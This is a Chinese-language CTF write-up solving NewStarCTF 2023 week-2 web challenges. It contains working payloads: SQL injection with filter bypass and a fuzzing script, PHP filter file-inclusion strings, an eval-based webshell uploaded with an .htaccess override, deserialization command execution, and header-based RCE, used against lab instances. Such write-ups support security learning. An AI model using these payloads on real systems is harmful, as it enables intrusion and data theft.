NewStarCTF 2023_第二周WP

NewStarCTF 2023_第二周WP

游戏高手

image-20231004153201791

本题是一道游戏题,按照惯例,我们需要先查看的js:
image-20231004153237481

得到一个app_v2.js文件,以及我们需要获得100000分才能显示flag

访问app_v2.js文件,我们直接定位到游戏结束时的处理代码:
image-20231004153442164

显示一个alert提示框,使用ctrl+f寻找该提示框的具体位置:
image-20231004153543915

在该代码中我们发现了api.php文件,对其进行访问:

image-20231004153645105

对js代码进行代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//游戏结束
function gameover(){
if(gameScore > 100000){
//创建了一个新的XMLHttpRequest对象。XMLHttpRequest对象是用于在后台与服务器交换数据的JavaScript API。它可以通过HTTP或HTTPS协议发送HTTP请求,并接收服务器的响应。
var xhr = new XMLHttpRequest();
//使用post请求打开一个api.php文件,并形成网页对象存储到xhr中
xhr.open("POST", "/api.php", true);
//xhr网页建立一个网页请求头Content-Type,内容为application/json
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
//创建一个json数据对象
var data = {
//score是键,gameScore是value
score: gameScore,
};
//将json数据传输给xhr网页对象
xhr.send(JSON.stringify(data));
}
alert("成绩:"+gameScore);
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}

根据代码审计我们需要传输一个json数据给网页,这个json数据就是我们游戏的分数,使用bp抓包,在api.php所在网页传输一个json数据:
payload:

1
2
3
4
5
Content-Type:application/json

{
"score":100000000000
}

image-20231004154912262

ez_sql

image-20231004155124328

我们在url中发现存在sql注入点:
image-20231004155156692

猜测可能是通过id在数据库中寻找存在的记录然后回显到页面:
测试该网页是否存在sql报错:

1
?id=TMP0919'

image-20231004155327273

发现网页不会回显报错信息,但是会回显数据库中搜索到,并返回的结果集,所以我们可以试试一下union注入法:

第一步:由于union注入需要确切知道select返回的字段数,所以需要先爆数据库的字段:

payload(order by,group by,union select 1,2,3,….):

1
?id=-1'union select 1 -- '

image-20231004160721249

发现有过滤,使用脚本扫一下有哪些关键词过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import time
# 打开读取SQL_fuzz文件
with open("SQL_fuzz.txt", "r") as f:
contents = f.readlines()
# print(contents)
# 删除读取数据中的'\n'
data_list = []
for msg in contents:
msg = msg.strip('\n')
# # 字符串根据空格进行分割
# d = msg.split(' ')
data_list.append(msg)
f.close
# print(data_list)

black_list=[]

# 进行fuzz注入
url = "http://64a5def2-4e23-45a6-a6e6-22ec898fc9f2.node4.buuoj.cn:81/?id="
# GET请求
for data in data_list:
da = data
# da = "1 {}".format(data)
# da = "1{}".format(data)
da = "1'{}".format(data)
r = requests.get(url+da)
# 使用time使请求能够拥有足够的时间去响应
time.sleep(0.04)
# 获取过滤网站响应信息
reponse_txt = "no!"
if (reponse_txt in r.text):
black_list.append(data)
print("该网站过滤了{}".format(data))

# POST请求
# for d in data_list:
# # da = d
# # da = "1 {}".format(d)
# da = d
# # POST传输json数据
# payload = {
# "query":da
# }
# r = requests.post(url=url, data=payload)
# time.sleep(0.04)
# reponse_txt = "Nonono"
# # print(r.text)
# if (reponse_txt in r.text):
# black_list.append(d)
# print("该网站过滤了{}".format(d))


print(black_list)

输出:

image-20231004162813880

我们先尝试使用大小写绕过法:

payload:

1
?id=-1'Union Select 1 -- '

image-20231004160824030

发现绕过!!!

payload:

1
?id=-1'Union Select 1,2,3,4,5 -- '

image-20231004160937013

发现回显内容,所以可以确定select返回结果集的字段个数为5

第二步:爆数据库

payload:

1
?id=-1'Union Select 1,database(),3,4,5 -- '

image-20231004163106775

得到数据库:ctf

第三步:爆表:

1
2
3
4
常规:
?id=-1'Union Select 1,Group_concat(table_name),3,4,5 from infOrmation_schema.tables Where table_schema= DATABASE(); -- '
暴力方式:
?id=-1'Union Select 1,Group_concat(table_name),3,4,5 from infOrmation_schema.tables -- '

常规:

image-20231004164025606

暴力:

image-20231004164224393

最终我们发现一个关键的表:here_is_flag

第四步:爆表的字段:

payload:

1
?id=-1'Union Select 1,Group_concat(column_name),3,4,5 from infOrmation_schema.COLUMNS Where table_schema = 'ctf' And table_name = 'here_is_flag'; -- '

image-20231004170217827

得到字段flag

第五步:爆字段的值:

payload:

1
?id=1'union Select 1,Group_concat(flag),3,4,5 from here_is_flag -- '

image-20231004170857984

获得flag

include 0。0

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
//这里过滤了base编码和rot编码获取文件包含信息
if(isset($file) && !preg_match('/base|rot/i',$file)){
//存在文件包含漏洞
@include($file);
}else{
die("nope");
}
?> nope

提供文件包含漏洞的payload:

1
2
3
4
5
6
7
8
9
10
php://filter/read=convert.quoted-printable-encode/resource=flag.php
php://filter/read=convert.url-encode/resource=flag.php
php://filter/read=convert.base64-decode/resource=flag.php
php://filter/read=convert.base64url-decode/resource=flag.php
php://filter/read=convert.rot13/resource=flag.php
php://filter/read=convert.hex/resource=flag.php
php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php
php://filter/read=convert.iconv.utf-8.utf-32/resource=flag.php
php://filter/read=convert.quoted-printable-decode/resource=flag.php
php://filter/read=convert.base64url-encode/resource=flag.php

payload:

1
php://filter/read=convert.iconv.utf-8.utf-32/resource=flag.php

image-20231004171344082

Upload again!

image-20231004171830952

这是一道文件上传题,我们先上传一个php文件并抓包一下:

image-20231004172115084

发现bp没有响应,前端直接返回判断信息,要使bp能够抓取信息,可以在浏览器中关闭前端js

这里偷懒直接上传了用js写的php文件的图片形式:

1
2
GIF89a
<script language="php">@eval($_POST['pass']);</script>

image-20231004172603995

发现成功上传!!!

由于无法抓包,我们需要再上传.htaccess文件对同一个文件夹下的指定图片文件进行解析:

1
2
3
<FilesMatch "showfiles3.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

image-20231004172835389

发现成功上传到同一目录下

访问木马图片:

image-20231004172930848

成功!!!

payload:

1
2
POST:
pass=system('ls /');

image-20231004173020270

发现flag文件:this_is_flag

payload:

1
2
POST:
pass=system('cat /this_is_flag');

image-20231004173154948

Unserialize?

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
//私有变量$cmd
private $cmd;
//反序列化会自动调用
public function __destruct()
{
//过滤常规的文件打开命令
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
//进行系统命令执行
@system($this->cmd);
}
}
}
//反序列化传入的变量值
@unserialize($_POST['unser']);
?>

构造反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
//私有变量只能直接赋值
private $cmd="ls /";

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
// @system($this->cmd);
}
}
}
// @unserialize($_POST['unser']);
$obj = new evil();
$obj = serialize($obj);
$obj1 = urlencode($obj);
echo $obj."\n";
echo $obj1;
@unserialize($obj);
?>

payload:

1
2
3
POST:
这里发现url编码的内容无法被执行,所以采用源码
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls /";}

image-20231004175532104

发现文件:th1s_1s_fffflllll4444aaaggggg

payload:

1
2
POST:
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:33:"nl /th1s_1s_fffflllll4444aaaggggg";}

image-20231004175916496

R!!C!!E!!

image-20231004212050514

有题目的英文提示得,该网页存在文件泄露,先尝试.git泄露:

image-20231004212637348

发现存在bo0g1pop.php

对bo0g1pop.php进行代码审计:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
//正则匹配funname(funname1()funname2())形式的字符串,即我们不能传参数在函数中
//\((?R)?\):表示将()作为递归的模板进行递归匹配字符串,递归一般从最里面进行匹配
//无参RCE
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
//对一些函数进行过滤
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);//存在危险代码执行漏洞
}
}

这里使用无参RCE的函数:getallheaders()

这个函数的作用是获取http请求头中的信息,并以关联数组的形式返回:
payload:

1
2
先观察该网页http请求头的第一个健是谁:
?star=print(getallheaders());

image-20231004232607329

由于直接输出数组头元素为Array,所以我们需要用next()函数使数组定位到第二个元素输出:
payload:

1
?star=print(next(getallheaders()));

image-20231004232730086

发现输出了请求头User-Agent的值,即第二个请求头的值

我们伪造一下第二个请求头User-Agent的内容:
payload:

1
2
3
4
headers:
User-Agent:666

?star=print(next(getallheaders()));

image-20231004234434183

发现成功被执行

payload:

1
2
3
4
headers:
User-Agent:system('ls /');

?star=assert(next(getallheaders()));

image-20231004234547770

payload:

1
2
3
4
headers:
User-Agent:system('head /flag');

?star=assert(next(getallheaders()));

image-20231004234627391


NewStarCTF 2023_第二周WP
http://example.com/2023/10/09/2023-10-9-newstarweek2/
作者
South
发布于
2023年10月9日
许可协议